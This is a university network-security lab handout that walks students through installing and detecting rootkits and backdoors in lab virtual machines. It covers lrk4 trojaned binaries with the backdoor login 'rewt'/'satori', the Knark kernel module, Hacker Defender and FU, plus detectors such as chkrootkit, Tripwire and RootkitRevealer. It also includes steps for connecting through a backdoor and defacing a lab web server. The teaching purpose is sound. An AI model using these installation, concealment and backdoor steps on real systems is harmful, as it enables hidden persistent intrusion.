ECE 4112 Internetwork Security
Lab 5: Rootkits, Backdoors and Trojans
Group Number: _______________
Member Names: _________________________
_________________________
Date Assigned: September 25, 2007
Date Due: October 2, 2007
Last Edited: October 29, 2007
Please read the entire lab and any extra materials carefully before starting. Be sure to start early
enough so that you will have time to complete the lab. Answer ALL questions and be sure you
turn in ALL materials listed in the Turn-in Checklist ON or BEFORE the Date Due.
Goal:
This lab will introduce you to rootkits, which are malicious programs put on a
computer by someone who has already gained access and wishes to keep it and perform other
tasks while remaining hidden. In this lab you will also learn how backdoors can be used to gain
access to a computer. You will also see how Trojan programs can be used to create these
backdoors.
Summary:
In this lab you will be examining two different kinds of rootkits for Linux
and one for Windows. The first one is a traditional rootkit named lrk4, which is one of the most
popular and stable rootkits available for use. The second one is a kernel level rootkit named
Knark. We will also look at four ways of seeing if a rootkit is installed, by using kern_check,
chkrootkit, strace and Rootkit Hunter. For Windows XP we will use a rootkit called Hacker
Defender. This rootkit allows us to hide files and processes and creates a backdoor on the
machine that has it.
Later in the lab, you will use Netcat to gain access to a machine. Then, you will examine the
properties of a Trojan by using a software package called Virtual Network Computing (VNC).
Next, you will be using a Trojan program called Back Orifice 2000.
RootKit Part of the Lab:
Background and Theory:
Though actually developing the code for rootkits
would be difficult and time intensive, today there are dozens and dozens of common rootkits that
are posted online for anyone to use. Using them just becomes a matter of reading and
understanding the README file. In this way, all sorts of people have access to rootkits and
discovering them on a system becomes a huge task in itself. We will see both how some rootkits
1
are discovered and how some can go hidden if proper precautions are not taken or ineffective
software is used.
Lab Scenario:
We will be installing rootkits on both our RedHat7.2 Virtual Machine
and Windows XP Virtual Machine. It is assumed for this lab that we have already gained root
access to our victim machine, although in reality this would have been an extra process, but for
this lab we just want to focus on rootkits. (The use of a buffer overflow is most likely how an
attacker would gain root access).
First copy the lab5 contents from the NAS to your 7.2 virtual machine and to your virtual
windows XP machine.
Note: It was reported by some students that instead of copying the virtual machines after
analyzing each root kit, it is easier to use VMWare’s built in snapshot system which allows you
to save the state of a virtual machine at any point and revert back to it later. In order to use
Snapshots the “legacy” virtual machines must be upgraded.
Next, we make a backup of the Linux 7.2 virtual machine by going to the /root/vmware directory
in the Linux WS 4.0 machine and typing (assuming RedHat7.2 is the name of your folder):
#cp –r RedHat7.2 RedHat7.2.bak
This may take a few minutes.
AFTER COMPLETING EACH SECTION, YOU MAY WANT TO REVERT BACK TO
THE BACKUP COPY OF REDHAT 7.2. DO THIS BY:
#cp –r RedHat7.2.bak RedHat7.2
THE SAME IS TRUE FOR YOUR BACKUPS OF THE XP VM YOU WILL MAKE.
#cp –r winXPPro.bak winXPPro
Section 1: Lrk4
The lrk4 rootkit exploits several different binaries and allows a hacker to gain access to a
machine using a hacker password and also allows the hacker to hide what he or she is doing.
All of the files you need can be found on the NAS, in the folder “Lab5”. You can access the
NAS as you did in previous labs, by mounting it just like a floppy or CDROM. On your RedHat
7.2 virtual machine:
Copy the lrk4.unshad.tar.gz and chkrootkit-0.42b.tar.gz file to the /home directory.
Copy the two files from the “rpms” folder on NAS to /home/tools.
2
Copy knark-2.4.3.tgz into the /home directory and kern_check.c into /home/tools directory, these
files will be used later in the lab.
Just like Windows has different booting modes like the “safe mode” and the “command prompt”
mode, linux has different runlevels. You will want to run the rest of the lab in runlevel 3
(command prompt) of linux, so that you are not in startx (linux GIU). You may go back to
runlevel 5 (startx) by typing startx. To do this, in a terminal type:
# init 3
Give it a few seconds.
Log back in as root and create a user account called “user1” with the following command:
#useradd user1
Then select a password for this user with the following command:
#passwd user1
When prompted for a password, type one in and then re-type it at the next prompt.
Now, type exit at the prompt and you should be returned to the login screen. Log in as user1;
once you have logged in, type “whoami”.
Q1.1: What do you see?
Type exit again, and now try logging on as root, but use a wrong password and notice the error
messages you get. Also notice that with an incorrect login, you still get the original login prompt.
Keep this in mind. Go ahead and log in properly now.
Q1.2: Check the date and the size of the login file and record it(use ls –l /bin/login).
Unzip the lrk4.unshad.tar.gz file in the /home directory. Unzip the file using the following
command:
#tar xvfz lrk4.unshad.tar.gz
The arguments xvfz sets the mode of the tar ball as follows: eXtract File ungZip Verbose. It
extracts the given file and ungzips is as well as providing complete output.
Now, before we can use the rootkit, we need to install a couple of libraries. Go into the
/home/“tools/rpms” directory and install the two library rpms using the following commands:
#rpm –i ld.so-1.9.5-13.i386.rpm
#rpm –i libc-5.3.12-31.i386.rpm
The “-i" argument tells rpm to install the rpm.
Now, switch to the lrk4 directory (this should be /home/lrk4). The rootkit contains several precompiled binaries that a hacker can use on a machine to gain access, cover tracks, and sniff
information. Today we are going to look at a corrupted login and ls commands. For more
information on rootkits, as well as what needs to be done to recover from a hack, go to:
3
http://www.chkrootkit.org/
and read several of the “Related Links” towards the top of the page.
Login
Go into the /home/lrk4/bin directory. Notice that they are already several pre-compiled binaries
in this folder. We are going to use the pre-compiled login available in this directory.
Use the command ls –l login
Q1.3: What is the size and date of this login file?
This is called a “trojaned” file, meaning that an administrator should see it as the nothing out of
the ordinary, but it allows a hacker to login in using his or her own passwords.
Now, create a backup of the original login file by running the following commands:
#mkdir /bin/backup
#mv /bin/login /bin/backup
This moves the original login file to a backup folder. Now, copy the corrupted login file to the
bin directory with the following command (make sure you are in the “bin” directory within the
lrk4 folder):
#cp login /bin/login
Now, type “exit” and you are back at the login prompt. Notice the differences between this login
screen and the original login screen. As we experiment with this corrupted login, keep track of
the different login prompts that come up when there is an incorrect login and also the different
messages that are displayed on the screen. Record all of these messages on a separate page.
You can login with root and the default password “satori” and you can log into a startx prompt
with the corrupted file and original password. This is obviously not the ideal behavior because
an administrator would immediately know that the system was hacked. This is one draw back of
a rootkit is that it is often only good for some operating systems and if installed on one that it
does not work well on, then it is easily discovered.
Now, try logging on as root using the password “password”. (After failure, login with “satori”)
Notice the message(s) that do/do not pop up; this message(s) didn’t come up during the normal
login process. Once you have logged in, type “whoami”.
Q1.4: What is displayed?
Type “exit” and log in as user1 with the password you choose.
4
Q1.5: Type “whoami” and record what is displayed (your password still works here).
Type exit and now try logging in with username “user1” and password “satori”.
Q1.6: Can you log in? If you can, run “whoami” and record what you see.
You should have been able to log in with the hacker password, but the permissions are still those
of user1. The hacker password allows the hacker to log on using any existing user account, but
he/she will only have the privileges of that user. You can’t log on using a username that doesn’t
exist. You can try this by typing “exit” and then trying to log on using the username “user2” and
the hacker password; this will give you an error.
Now, type the username “rewt” and password “satori” to log onto the system. Once you have
logged on, type “whoami”.
Q1.7: What permission level do you have now?
So you can see how a hacker can get easy access to a machine using the “rewt” username and
“satori” password. Summarize the differences between the normal and corrupted logins
(messages, displays, etc.) on the separate page and turn that page in with the lab.
But how does a hacker hide the corrupted login file? By using the “touch” program included as
part of the linux. Touch will overwrite the date of a file with a new date. In this case, we want to
use the date of the original login, so type:
#touch –r /bin/backup/login /bin/login
Now, go into the /bin directory and type ls –l login* and see what the output is.
Q1.8: Record the output and what you think has happened.
You should see that the date of the trojaned login file has been changed to that of the original
login file.
Q1.9: However, how do you know that the current /bin/login file is actually the corrupted
login file?
Q1.10: Also, type exit and try logging on as “rewt”. Can you log on?
Q1.11 : Write up a summary that details how an administrator would know that a system
had been exploited, i.e. file sizes, differing messages during login process, etc.
There are several different programs available to check whether a system has been exploited or
not. One of these is a tool called chkrootkit. The version we will be using in lab is 0.45.
Unzip and make chkrootkit
5
1.
2.
3.
4.
# cd /home
# tar xvfz chkrootkit-1.tar.gz
# cd chkrootkit-0.45
# make sense
Before you start using chkrootkit, copy the original login file from the /bin/backup folder to the
/bin folder by typing:
#cp /bin/backup/login /bin/
Now, go into the chkrootkit-0.45 folder and type the following command:
Before we start lets check if the original login file is corrupted by copying it back into the /bin
folder and running chkrootkit
1. # cp /bin/backup/login /bin/login (press yes if prompted about overwriting file)
2. # ./chkrootkit login
This will run chkrootkit on the login file to check if it’s infected. You could just run chkrootkit
without any options, but then the output would be very long and searching for the output from
the login file would take some time. Since we know that no other binaries on the system are
corrupted, we can just run chkrootkit on the login file. Note that the output you get should show
that the login file is not infected.
Now, copy the corrupted login file (cp /home/lrk4/bin/login /bin/login) back into the /bin folder,
overwriting the original login file. Run the above chkrootkit command again. You should now
see that the login is listed as infected. Chkrootkit simply checks the login file for the occurrence
of the string “root”. Since the original login file doesn’t have the string “root” in it but the
corrupted login file does, this alerts chkrootkit as to whether a file is infected or not.
Ls
Now we are going to overwrite the ls command, also found in /bin, with rootkit’s ls command.
Doing this we will be able to hide any folders and files that would appear during an ls command.
Copy the original ls to the backup folder:
#cp /bin/ls /bin/backup
Now, in the lrk4 directory, go to fileutils-3.13/src. You should see more precompiled files,
including ls and dir. We will only be using ls, but obviously a real hacker would put on all these
if they wanted to hide something. Copy the corrupted ls file to the /bin directory. The corrupted
ls is designed to hide files and folders listed in a specific data file, /dev/ptyr (dev is chosen
because it is a large directory that has many files of similar names, so it is hard to notice one new
one). No such file currently exists, so this ls command works just like the original. Now, create
6
the /dev/ptyr file with any text program (end with a return so that the last file is also parsed as a
file to hide) and put in the following:
lrk4
file.hide
Now, go to the /home directory and create the file, file.hide, just an empty text file is fine. Use
the dir command. Now, use the ls command.
Q1.12: What is different about the two outputs?
Notice that you can still cd into the lrk4 directory and you can still open the file.hide under the
home directory. This corrupted ls command does not affect the files at all, it just accesses the
ptyr file and suppresses anything in there, feel free to try other folders and files. The hacker can
now leave a folder full of rootkit tools, such as packet sniffers and the files of data collected and
without knowing specifically what to look for, the administrator would not see them. The ls
command works separately from the login command, so either can be installed without the other,
and the ls command would also need to be “fixed” to cover its tracks more. Another drawback
to the trojaned ls is that is uses different system calls, which can be seen by using the built in
function, strace.
With the corrupted ls program in place, in the /home directory, type:
#strace –c ls
Q1.13: The –c counts the total number of system calls, what is the total number?
Now, copy the original ls from the backup folder, and then again in the /home directory use
strace on ls.
#cp /bin/backup/ls /bin/
#strace –c ls
Q1.14: What is the number of system calls now?
Make sure that you have copy your original ls and login commands back.
#cp /bin/backup/ls /bin/
#cp /bin/backup/login /bin/
Section 2: Knark
This rootkit works at the kernel level, so instead of copying over binaries, it can redirect system
calls, making it harder to detect. We are going to look at the hide and exec-redirection programs
and see why these work better than those of lrk4.
7
The program we will use to look to see if a kernel rootkit is installed is kern_check. This code
was obtained from http://la-samhna.de/library/rootkits/detect.html, which says the following
about how it works:
“In order to replace kernel syscalls with their own code, LKM rootkits modify the table which holds the
addresses of these syscalls, to point to the module's replacement function instead of the original kernel
function. Now, whenever a kernel is compiled, a map of kernel symbols and their respective addresses in
the kernel is generated. This map is called System.map (sometimes with the kernel version appended),
and usually install in the same location as the kernel (e.g. /boot). Thus, a straightforward way to detect
hijacked kernel syscalls is to compare this map against the actual addresses of all syscalls, which will
show all syscalls whose address is different from the original address listed in the map.”
First, let’s compile and run our kern check program that you copied from the NAS earlier. In the
/home/tools directory type:
#gcc –o kern_check kern_check.c
Now, type:
#./kern_check /boot/System.map
No output means the machine is clean.
Now unzip the knark folder with:
#tar xvfz knark-2.4.3-release.tar.gz
This will create the folder knark-2.4.3-release., Go into that folder. First we need to slightly edit
the Makefile. Change the line of MODCFLAGS found under the opening comments, so it looks
like the MODCFLAGS line below. The only thing changed is two words from linux to linux-2.4.
The *** means that it should be on the same line as above, so there is just one long line of code
for the definition. This change is necessary because of a slight difference in our directory
headings.
MODDEFS = -D__KERNEL__ -DMODULE -DLINUX
CFLAGS = -Wall -O2
MODCFLAGS = -Wstrict-prototypes -fomit-frame-pointer -pipe -fno-strength***reduce -malign-loops=2 -malign-jumps=2 -malign-functions=2 -include
*** /usr/src/linux-2.4/include/linux/modversions.h -I/usr/src/linux***2.4/include
SRCDIR = src
OBJS = $(SRCDIR)/author_banner.o
To install the LKM (Linux Kernel Module), type:
#make
#insmod knark.o
This installs knark on the machine and creates the hidden folder /proc/knark, which has files
used by knark.
Q2.1: Again, run the kern_check program, how can you tell the machine is corrupted?
8
Q2.2: Now run the ./chkrootkit (from /home/chkrootkit-0.45 folder) program with no
parameters and read through the output. Is the LKM detected?
Chkrootkit uses some tricks when detecting rootkits because it knows the default behavior.
Q2.3: What trick could chkrootkit use to detect Knark, and how could this be avoided by
Knark?
The README file in the knark-2.4.3-release folder gives information on some of the programs
knark has. We will be looking at the hidef and ered programs specifically. The hidef program is
used to hide files and folders. To use, type (in the folder where knark is insalled):
#./hidef <File or folder to be hidden>
Hide lrk4 and file.hide with this function, then, in the /home directory, try ls and dir.
Q2.4: Does either show the file?
To see which folders and files are hidden, you can always type:
#cat /proc/knark/files
To unhide the files, in the knark directory, type:
#./unhidef <File of folder to unhide>
What is powerful about a kernel rootkit is that the ls and dir binaries are not changed, you can
confirm this by looking at the size and date of each, the LKM just redirects the system calls used,
so even a clean ls or dir running off a floppy would not show the hidden files.
Q2.5: Again in the /home directory, use strace (strace –c ls) to count the number of system
calls, is this a useful way of trying to detect a kernel rootkit? Why or why not?
The program ./ered redirects execution of a command from one file to another. This means that
instead of copying our trojaned login from lrk4, we can leave the original login in place and run
the corrupted login by typing:
#./ered /bin/login /home/lrk4/bin/login
Q2.6: The login now works the same as in the first part of the lab (including the error
where our root password does not work), but what is the date and filesize of /bin/login?
Your redirections can be seen by typing:
#cat /proc/knark/redirects
And can be cleared by:
#./ered –c
Q2.7: Pick another Knark function and explain how it is used and what it would be good
for (think of hiding what the hacker has done/is doing, use the README file). Include an
example usage and screenshots if necessary Screenshot P1 #1.
9
Q2.8: How can an administrator defend against kernel level rootkits?
Section 3: Rootkit Hunter: Not all rootkit detectors
are equal
At this point, you probably feel confident that rootkit detectors can adequately protect a system.
Well, let’s see if that is really the case. Can we always trust that such tools will do an adequate
and reliable job in detecting and identifying rootkits on our machine?
Go to this website: http://www.rootkit.nl/. Go ahead click on the “projects” link then the
“Rootkit Hunter.” Notice the statement, “Rootkit scanner is scanning tool to ensure you for about
99.9% you're clean of nasty tools.” 99.9% is a pretty bold claim. If you look on this webpage
further, you will notice that it says it can detect LKMs and suspicious binaries.
So let’s test its ability to do so. Copy the rkhunter-1.00RC3.tar.gz for the NAS to your /home
directory in your RedHat 7.2 virtual machine and do the following commands.
#tar zxvf rkhunter-1.00RC3.tar.gz
#cd rkhunter
#./installer.sh
This will install the Rootkit Hunter tool. Make sure you have the Knark LKM installed, and also
go ahead and replace the login binary program from the lrk4 rootkit like you did earlier in this
lab (make sure to back up your valid login program). We are going to see first if it can detect
these anomalies like it advertised. Run the rkhunter program by executing this command.
#rkhunter --checkall --createlogfile
Some nice color text output will start scrolling on the screen. Hit the enter key until you reach a
screen that looks like Figure 1.
10
Figure 1. A miss in detecting the corrupted login and knark LKM.
Notice that rkhunter feels that the login program is fine and the loaded kernel modules pose no
threat. But, we know better. Both lrk4 and knark are very well known rootkits, and this rather
recent rootkit detection program cannot tell if they exist or not. Continue hitting the enter key
until rkhunter is done scanning, and when it is done scanning it will tell you the false report that
system is fine.
Let’s continue testing it to see if it gives false positives or false alarms. Create a text file called
arobia and put some random text (it doesn’t matter what text is in there). Then place it in the
/usr/sbin directory and then change its permissions with the following command:
#chmod a+x /usr/sbin/arobia
Now run rkhunter like you did before. As you run rkhunter, it will give you a warning about the
BeastKit rootkit as shown in Figure 2.
11
Figure 2. A False Positive on the BeastKit rootkit.
So what is going on here? It was rather easy to fool this rootkit detector. Let’s open the log file
rkhunter wrote by executing this command:
#emacs /var/log/rkhunter.log
Scroll down the text file a little bit and you should see the warning of finding the arobia file like
in Figure 3.
12
Figure 3. Rkhunter log showing that it found the arobia file.
Attachment 2: Go ahead and print out this log and include it with everything else you have
to turn in.
If you scroll through the rest of the log, you will notice that all this program does is just scan
through certain directories and looks for a name match on a file. All that a savvy hacker has to do
is rename his rootkit files and this “detector” will not detect the danger. You might as well
remove the /usr/sbin/arobia harmless text file. We do not want to set off more false alarms. Also,
replace the /bin/login binary file with the real, correct login file.
The point of this exercise is to realize that implementing security requires good investigation in
the tools that are relied on. As we have found out here, it is clear that not all rootkits are equal
nor do they always do what they claim. Rootkit Hunter could easily create trouble for an
inexperienced administrator. An experienced hacker, knowing this detector was on a system, can
create a false positive and put in rootkits that this detector could not detect. Hence, the
administrator’s attention will be incorrectly placed. Good information security not only requires
vigilance over one’s systems but also vigilance over the systems’ security tools.
You can now remove Knark from your system.
Knark should remove itself when you reboot the computer. Check this with kern_check. If it
does not, or if you have lost your original login or ls file, you can reset your virtual machine to
what it was before you started the lab by going to your Linux WS 4.0 machine and in the /root
directory typing:
13
#rm –rf Redhat7.2
#cp Redhat7.2.bak Redhat7.2
Q3.1: What methods could RootkitHunter use to improve on its false-positive detection
rate?
Section 4: Hacker Defender
http://hxdef.org/
First, make a copy of your winXPPro virtual machine by opening a terminal in you Linux WS
4.0 physical machine and typing:
#cp –r winXPPro winXPPro.bak (assuming winXPPro is the name of your folder)
Now start you Windows XP Virtual Machine. The remainder of this section of the lab will be
done on this machine.
This rootkit rewrites memory segments in all running processes to change their behavior. It has
been available for about a year and would be detected by almost any antivirus program. For more
on the program and its usage than what is in this lab, see the readme file (readmeen.txt) or go to
the website.
Copy all the Lab5/Windows folder files from the NAS to a new folder on your Desktop named
“hacker”.
This rootkit is run by typing the executable, hxdef100.exe, and specifying a .ini file to use. The
.ini file has information on what files, processes or ports to hide, as well as information on the
backdoor it creates on the system. We will be using kitfile.ini for this lab, you can double click
on it and it will open in Notepad. There are 9 headings required, though we will only be looking
at a few in this lab. The first heading, [Hidden Table], is the list that tells the program what files,
directories and processes to hide. Right now it has root* and rcmd.exe as the only entries. This
means that it will hide any file, folder or process that starts with root and the rcmd.exe process.
The next heading, [Root Processes], is a list of programs that will be “immune” to the infection,
meaning they will still be able to see hidden files and processes. [Hidden Services] is a list of
services that will be hidden from the database of installed programs. In [Settings], the last
heading, is information on backdoors as well as how things are run, we will not be modifying
this part at all, but make note of the Password. For more information on what all these do, again,
see the readme file.
Create a folder on your desktop called “roottest”.
Go to StartRuncmd.
cd to the “hacker” folder with the rootkit files.
Type: hxdef100.exe kitfile.ini
14
You have just installed and run the rootkit. On your desktop, Right Click and go to Refresh.
Q4.1: Can you still see the folder you just created?
Now hold ALT + CNTRL + DELETE and click on the processes tab to see what is running.
Q4.2: How do we know that Hacker Defender is running on our machine?
Now it is time to hide the Hacker Defender process. Open up kitfile.ini and add the following
line under [Hidden Table]:
hxdef*
Save the file.
Kill the existing hxdef process and rerun hxdef100.exe kitfile.ini
Q4.3: Again look at what processes you are “running,” are you still able see that Hacker
Defender is running?
You can do this with any process, i.e. IE (Internet Explorer) but you would need to be careful
hiding some system process that would stop your computer from functioning properly. Just for
fun I added * to [Hidden Table] and hid all files and processes, of course, I was not able to run
anything after that and could not even stop Hacker Defender from running, luckily I had backed
up my Virtual Machine image and did not lose everything.
Now we will use the backdoor feature of the rootkit. Once the rootkit is installed, all TCP ports
become potential backdoors. This includes port 80, used for web servers. One of the web
servers on the network has been infected with this kit, using a .ini file similar to yours, so the
backdoor has the same settings. The server is http://57.35.5.16, which is the StorageRus
Webserver. You can see the home page by typing the IP address into a web browser. The file
bdcli100.exe will let us remotely connect to this server, through port 80, with administrator
privileges. Again in your cmd window, type:
bdcli100.exe 57.35.5.16 80 hxdef-rulez
This is the host, port and password to use when connecting. Because we have hidden Hacker
Defender processes and rcmd.exe, there is no simple way of seeing that we have connected.
Also, it was shown in tests that IIS does not log any of this connection.
Once you have logged on through the backdoor, you might as well have some fun. In
c:\\Inetpub\wwwroot is a file called default.htm. This is the homepage for the web server. You
can edit a file by typing:
#edit <filename>
Do this with default.htm and add your group number, names and a brief message in the body so
it shows up on the homepage.
Pressing ALT brings you to the menu options on the top of the screen, save your file and exit.
Now type:
#exit
You have just terminated your backdoor connection.
On your own machine type:
15
# net stop HackerDefender100
Make sure the hidden files are revealed. This ends this portion of the lab. Again, if something
was lost or damaged, you can delete this Virtual Machine folder and use the backup you made at
the beginning of this section with:
#rm –rf winXPPro
#mv winXPPro.bak winXPPro
16
Section 5: TRIPWIRE
Tripwire is one method of detecting hackers. This software lets you know if somebody
has broken in your system and replaced important linux programs with their trojaned versions.
Tripwire is an integrity checking tool that creates an encrypted database which contains unique
identifiers for each file or program to be checked. These include: permissions, file size, and
checksum numbers generated by encryption algorithms from the file’s contents. Some of these
algorithms are: MD5 modification digest algorithm and Snefru (Xerox secure hash algorithm).
This database should be created before the machine is placed on a public network and should be
moved to a secure media such as a floppy disk or USB drive. This way the attacker would not
have a way to modify the database so that Tripwire does not detect his modifications. Files and
programs are checked periodically by generating their signatures and match them against the
values previously generated contained in the database. Upon facing a modification on any file
listed, Tripwire is able to send an email or send a printout containing a log of the modification
performed.
The rpm can be found on the NAS. Copy it to your 7.2 VM.
rpm –ivh tripwire-2.3.1-10.1.legacy.7x.i386.rpm
This will install tripwire in /etc/tripwire. cd into this directory:
cd /etc/tripwire
Now we need to modify the file twpol.txt to set the policies and files to be checked. If it is
left unmodified, Tripwire will look for the default files some of which are not in your RedHat7.2
virtual machine. You will get many warnings “No such file or directory.” However, this will not
affect the result.
vi twpol.txt
At this point you can also modify the file twcfg.txt to change your preferences. Some of
these preferences are whether or not you want an email sent when a modification is identified
or/and when no modification was found. You can set here if you want a hard copy of the results
obtained by Tripwire.
vi twcfg.txt
No changes are necessary to see the program work. At this point you will have to
generate the files tw.pol and tw.cfg from the files twpol.txt and twcfg.txt respectively. To do this,
a script named twinstall.sh was included in the package. Type the following command:
17
sh twinstall.sh
Running this command will ask you to create a “site keyfile passphrase." For security
reasons this should contain at least 8 characters in length and have upper and lower case letters,
digits and punctuation marks. For now type something you will remember. It will now ask you
for a “local keyfile passphrase.” Again type something you will remember. Now you are ready to
create the signature database. For this, type:
tripwire --init
This will create a database in the directory: /etc/tripwire/redhat7.2.twd Now can run a
check to ensure that everything is correct. Type:
tripwire --check
Tripwire will now begin checking each file in the tw.cfg against its database. If you did
not edit twcfg.txt, you will now see many warnings. Ignore this. If you want to see the output,
type the following:
twprint --print-report --twrfile /var/lib/tripwire/report/<filecreatedhere>.twr
Where <filecreatedhere> is the name of the report file created by tripwire --check. The
name was printed near the beginning of the execution of tripwire --check. If you could not see it
because the output was too long, you can execute the commands in vi. To do this open vi and
type:
:r!<commandHERE>
This will print the output to vi so that you can scroll through it. Examples are:
:r!tripwire --check (and you can search for the .twr filename with /twr)
:r!rtwprint --print-report --twrfile /var/lib/tripwire/report/<filecreatedhere>.twr
If you wish to update the database with the changes done which Tripwire identified, type:
tripwire --update --twrfile /var/lib/tripwire/report/<filecreatedhere>.twr
Again, here <filecreatedhere> is the name of the report created by the command:
tripwire --check.
Running tripwire once a day:
To run tripwire once a day, create a script in /etc/cron.daily Call it tripwire-check. The
scrip should be something like:
18
#!/bin/sh
HOST_NAME=`uname -n`
if [ ! -e /var/lib/tripwire/${HOST_NAME}.twd ]; then
echo "Error: Tripwire database for ${HOST_NAME} not found"
echo "Run "/etc/tripwire/twinstall.sh" and/or "tripwire --init""
else
test -f /etc/tripwire/tw.cfg && /usr/sbin/tripwire --check
fi
Lrk4 Vs Tripwire
Now that you know how to generate signatures of the current files and compare them to a
database of signatures created using previous files, you can introduce lrk4 and knark to your
linux RedHat7.2 virtual machine to test tripwire’s ability to identify attacks. To do this:
1. Make sure you have already generated a database of the current files with no rootkits.
Backup your login file and ls file into the /bin/backup/ folder
2. Copy lrk4’s login from lrk4/bin to the /bin directory and copy lrk4’s ls command from
fileutil-3.13/src/ to the /bin directory
3. run in vi:
r!tripwire --check
to capture the output of tripwire in vi.
4. Check the output in vi. The following is an example output after replacing only the login
file with lrk4’s login file:
19
A similar output occurs when the login file is replaced with lrk4’s login and back. In
other words, tripwire is able to identify that the file was moved and then placed back.
Knark Vs Tripwire
Knark, being a Linux Kernel Module rootkit, would be difficult to find since it does not
change files such as login and ls. To test Tripwire:
1. Replace the login file with the correct login file
2. Run
tripwire --check
and find the twr file created here
3. Update the database:
20
tripwire --update --twrfile /var/lib/tripwire/report/<filecreatedhere>.twr
4. Go to the knark directory and run the rootkit:
insmod knark.o
5. Run
tripwire --check
6. Check the output to see if any files have been changed.
Q5.1 : Did Tripwire report any file changes? If so what?
Tripwire has proven to be to be a more effective and efficient method of verifying the system
integrity than checking each file to see if any was modified. Since the database generated by
Tripwire can be stored in another location such as a floppy disk and/or usb drives, an attacker
can not access these. An attacker can replace tripwire with a fake tripwire in the computer but an
Administrator can overcome this by having a boot CD such as Busybox with tripwire installed.
Tripwire could be set to be run once a day and send emails and printouts of the report. A hacker
could destroy the email sent to the Administrator but it is difficult for him to destroy the physical
printout of the report. The most difficult part of using tripwire is getting the commands right.
With this tutorial, this should not be a problem.
Resources:
https://www.redhat.com/archives/fedora-legacy-announce/2004-October/msg00017.html
http://www.akadia.com/services/tripwire.html
http://www.freeos.com/articles/3405
http://sourceforge.net/projects/tripwire/
http://sourceforge.net/support/getsupport.php?group_id=3130
Section 6: Detecting Rootkits on Windows
RootkitRevealer is an advanced root kit detection utility. It runs on Windows NT 4 and higher
and its output lists Registry and file system API discrepancies that may indicate the presence of a
user-mode or kernel-mode rootkit.
How Rootkit Revealer Works
Since persistent rootkits work by changing API results so that a system view using APIs differs
from the actual view in storage, RootkitRevealer compares the results of a system scan at the
highest level with that at the lowest level. The highest level is the Windows API and the lowest
21
level is the raw contents of a file system volume or Registry hive (a hive file is the Registry's ondisk storage format). Thus, rootkits, whether user mode or kernel mode, that manipulate the
Windows API or native API to remove their presence from a directory listing, for example, will
be seen by RootkitRevealer as a discrepancy between the information returned by the Windows
API and that seen in the raw scan of a FAT or NTFS volume's file system structures.
Q6.1: Do you think it is possible to hide from Rootkit Revealer ? State why.
Installing Rootkit Revealer
(If HackerDefender is running, you may have to change the name of the (.zip) file, since
HackerDefender will block anything with the word root* in it)
Get the Rootkit directory from the NAS by copying it to your XP VM.
Double click the EXE.
Click File > Scan
A cursory glance of the screen will list a large number of discrepancies. These discrepancies
indicate the existence of a rootkit.
22
Q6.2: Attach a screenshot of the RootkitRevealer Scan (screenshot P1 #2)
FU - A rootkit that hides from RootkitRevealer
FU [https://www.rootkit.com/vault/fuzen_op/FU_Rootkit.zip] is a new breed of rootkits that uses
advanced hiding techniques to evade detection.
The FU rootkit can hide processes, elevate process privileges, fake out the Windows Event Viewer so
that forensics is impossible, and even hide device drivers. It does all this by Direct Kernel Object
Manipulation™ – no hooking! This project has been evolving over time. It was originally conceived as a
proof-of-concept.
FU is a play on words from the UNIX program "su" used to elevate privilege.
Installing Rootkit Revealer: Get FU_Rootkit.zip from the NAS, copy it to your XP VM, and
extract the directory.
Using this rootkit to hide a process
To use this rootkit to hide a process, extract the rootkit.
In the command window, browse to the EXE folder and type fu –pl 100
This will list all the running processes.
23
C:\Documents and Settings\user1\Desktop\FU_Rootkit\FU_Rootkit\EXE>fu -pl 100
Process: fu.exe:1964
Process: :2153006656
Process: System:4
Process: smss.exe:364
Process: csrss.exe:512
Process: services.exe:588
Process: lsass.exe:600
Process: svchost.exe:1088
Process: explorer.exe:1368
Process: spoolsv.exe:1440
Process: VMwareTray.exe:1528
Process: VMwareUser.exe:1536
Process: pbagent.exe:1544
Process: msmsgs.exe:1552
Process: pbhubsrv.exe:1744
Process: VMwareService.e:1824
Process: wuauclt.exe:720
Process: cmd.exe:1572
Process: taskmgr.exe:1196
Process: RddootkitReveal:892
Process: RDOCUQWQJDXPGBA:1448
Total number of processes = 21
Now, select any process and note its PID [We selected RDOCUQWQJDXPGBA : 1448]
Type fu –ph 1448 (Or whatever PID you choose)
C:\Documents and Settings\user1\Desktop\FU_Rootkit\FU_Rootkit\EXE>fu -ph 1448
C:\Documents and Settings\user1\Desktop\FU_Rootkit\FU_Rootkit\EXE>fu -pl 100
Process: fu.exe:124
Process: :2153006656
Process: System:4
Process: smss.exe:364
Process: csrss.exe:512
Process: services.exe:588
Process: lsass.exe:600
Process: svchost.exe:1088
Process: explorer.exe:1368
Process: spoolsv.exe:1440
Process: VMwareTray.exe:1528
Process: VMwareUser.exe:1536
Process: pbagent.exe:1544
Process: msmsgs.exe:1552
Process: pbhubsrv.exe:1744
Process: VMwareService.e:1824
Process: wuauclt.exe:720
Process: cmd.exe:1572
Process: taskmgr.exe:1196
Process: RddootkitReveal:892
Total number of processes = 20
Q6.3: Take screenshots of the process list before and after you hide a process. (Screenshot
P1 #3, #4)
Q6.4: Does Rootkit Revealer detect the presence of this rootkit ?
24
Section 7: IceSword for Windows
Copy the IceSword directory from the NAS to your XP VM.
To install, simply extract the file to a folder on the desktop. Then open the folder and double
click on IceSword.exe and a GUI should appear.
Run HackerDefender as described in Section 4 of the lab and make sure the kitfile.ini is
modified to hide both the roottest folder and the hxdef100 process.
If you modified the kitfile.ini correctly, both the hxdef100 process and the roottest folder on the
desktop should be hidden once you refresh them.
Press Ctrl+Alt+Del and click on the FunctionsProcess tab. Examine the list.
Now go back to the IceSword GUI and click on the Process and it will show the list of processes
which is currently running.
Q7.1. Do you notice any difference in the two lists of processes currently running on the
computer?
The processes tab in IceSword also shows the precise location of the HackerDefender file and
folder. Files that are hidden and potentially dangerous are supposed to be highlighted in red,
however this feature sometimes does not work. Next, using the File tab on the left side of the
IceSword GUI, go to the folder where you create the roottest hidden folder.
Q7.2. Can you see the roottest folder which was hidden by the HackerDefender by using
the IceSword GUI?
At this point, we know that there is a suspicious hidden process running on the computer. To find
out more about this process, right click on the process and click “Thread Information”. This will
give some technical details of the process’s operation.
Next, click on the “Win32 Services” tab and scroll down till you find HackerDefender100, the
file may be listed in red. You will now be able to see the name of the program (HackerDefender),
so it is not necessary for the user to know the exact name of the program’s executable file for
him to figure out that it is malicious (Windows Services—Control PanelAdministrative
ToolsServices—does not detect HackerDefender). Note that even though the process is
terminated, it will come back on automatically when the system reboots, if the services is not
disabled.
Further information can be learned by clicking “Log Process / Thread Creation”. This part listed
all created processes.
